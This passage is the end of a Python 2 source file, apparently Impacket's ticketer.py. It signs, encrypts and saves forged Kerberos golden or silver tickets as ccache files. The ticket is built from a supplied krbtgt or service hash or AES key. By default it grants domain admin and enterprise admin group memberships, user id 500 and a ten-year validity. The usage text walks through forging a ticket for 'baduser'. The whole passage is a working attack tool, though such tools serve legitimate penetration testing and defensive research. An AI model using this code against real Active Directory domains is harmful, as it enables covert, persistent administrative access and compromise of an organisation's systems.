638        cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
639        if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
640            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
641        elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
642            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
643        elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
644            key = Key(cipher.enctype, unhexlify(self.__options.nthash))
645        else:
646            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
647
648        # Key Usage 2
649        # AS-REP Ticket and TGS-REP Ticket (includes TGS session
650        # key or application session key), encrypted with the
651        # service key (Section 5.3)
652        logging.info('\tEncTicketPart')
653        cipherText = cipher.encrypt(key, 2, str(encodedEncTicketPart), None)
654
655        kdcRep['ticket']['enc-part']['cipher'] = cipherText
656        kdcRep['ticket']['enc-part']['kvno'] = 2
657
658        # Lastly.. we have to encrypt the kdcRep['enc-part'] part
659        # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
660        encodedEncASRepPart = encoder.encode(encASorTGSRepPart)
661
662        if self.__domain == self.__server:
663            # Key Usage 3
664            # AS-REP encrypted part (includes TGS session key or
665            # application session key), encrypted with the client key
666            # (Section 5.4.2)
667            sessionKey = Key(cipher.enctype, str(encASorTGSRepPart['key']['keyvalue']))
668            logging.info('\tEncASRepPart')
669            cipherText = cipher.encrypt(sessionKey, 3, str(encodedEncASRepPart), None)
670        else:
671            # Key Usage 8
672            # TGS-REP encrypted part (includes application session
673            # key), encrypted with the TGS session key
674            # (Section 5.4.2)
675            sessionKey = Key(cipher.enctype, str(encASorTGSRepPart['key']['keyvalue']))
676            logging.info('\tEncTGSRepPart')
677            cipherText = cipher.encrypt(sessionKey, 8, str(encodedEncASRepPart), None)
678
679        kdcRep['enc-part']['cipher'] = cipherText
680        kdcRep['enc-part']['etype'] = cipher.enctype
681        kdcRep['enc-part']['kvno'] = 1
682
683        if logging.getLogger().level == logging.DEBUG:
684            logging.debug('Final Golden Ticket')
685            print kdcRep.prettyPrint()
686            print ('\n')
687
688        return encoder.encode(kdcRep), cipher, sessionKey
689
690    def saveTicket(self, ticket, sessionKey):
691        logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))
692        from impacket.krb5.ccache import CCache
693        ccache = CCache()
694
695        if self.__server == self.__domain:
696            ccache.fromTGT(ticket, sessionKey, sessionKey)
697        else:
698            ccache.fromTGS(ticket, sessionKey, sessionKey)
699        ccache.saveFile(self.__target.replace('/','.') + '.ccache')
700
701    def run(self):
702        ticket, adIfRelevant = self.createBasicTicket()
703        if ticket is not None:
704            encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant)
705            ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos)
706            self.saveTicket(ticket, sessionKey)
707
708if __name__ == '__main__':
709    # Init the example's logger theme
710    logger.init()
711    print version.BANNER
712
713    parser = argparse.ArgumentParser(add_help=True, description="Creates a Kerberos golden/silver tickets based on "
714                                                                "user options")
715    parser.add_argument('target', action='store', help='username for the newly created ticket')
716    parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the silver ticket will'
717                                                     ' be generated for. if omitted, golden ticket will be created')
718    parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it '
719                        'changing only the supplied information. It requires specifying -user')
720    parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)')
721    parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be '
722                                                            'generated for')
723    parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket '
724                                                                             '(128 or 256 bits)')
725    parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket')
726    parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of '
727                        'groups user will belong to (default = 513, 512, 520, 518, 519)')
728    parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be '
729                                                                          'created for (default = 500)')
730    parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC')
731    parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires '
732                                                                            '(default = 365*10)')
733    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
734
735    group = parser.add_argument_group('authentication')
736
737    group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be '
738                                                     'different from domain/username')
739    group.add_argument('-password', action="store", help='password for domain/username')
740    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
741    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
742                       'ommited it use the domain part (FQDN) specified in the target parameter')
743
744    if len(sys.argv)==1:
745        parser.print_help()
746        print "\nExamples: "
747        print "\t./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\n"
748        print "\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4."
749        print "\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256"
750        print "\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as"
751        print "\tbaduser.ccache.\n"
752        print "\t./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain " \
753              "<your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser\n"
754        print "\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used"
755        print "\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,"
756        print "\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'"
757        print "\tand saved as baduser.ccache"
758        sys.exit(1)
759
760    options = parser.parse_args()
761
762    if options.debug is True:
763        logging.getLogger().setLevel(logging.DEBUG)
764    else:
765        logging.getLogger().setLevel(logging.INFO)
766
767    if options.domain is None:
768        logging.critical('Domain should be specified!')
769        sys.exit(1)
770
771    if options.aesKey is None and options.nthash is None:
772        logging.error('You have to specify either a aesKey or nthash')
773        sys.exit(1)
774
775    if options.aesKey is not None and options.nthash is not None and options.request is False:
776        logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one')
777        sys.exit(1)
778
779    if options.request is True and options.user is None:
780        logging.error('-request parameter needs -user to be specified')
781        sys.exit(1)
782
783    if options.request is True and options.hashes is None and options.password is None:
784        from getpass import getpass
785        password = getpass("Password:")
786    else:
787        password = options.password
788
789    try:
790        executer = TICKETER(options.target, password, options.domain, options)
791        executer.run()
792    except Exception, e:
793        if logging.getLogger().level == logging.DEBUG:
794            import traceback
795            traceback.print_exc()
796        print str(e)
797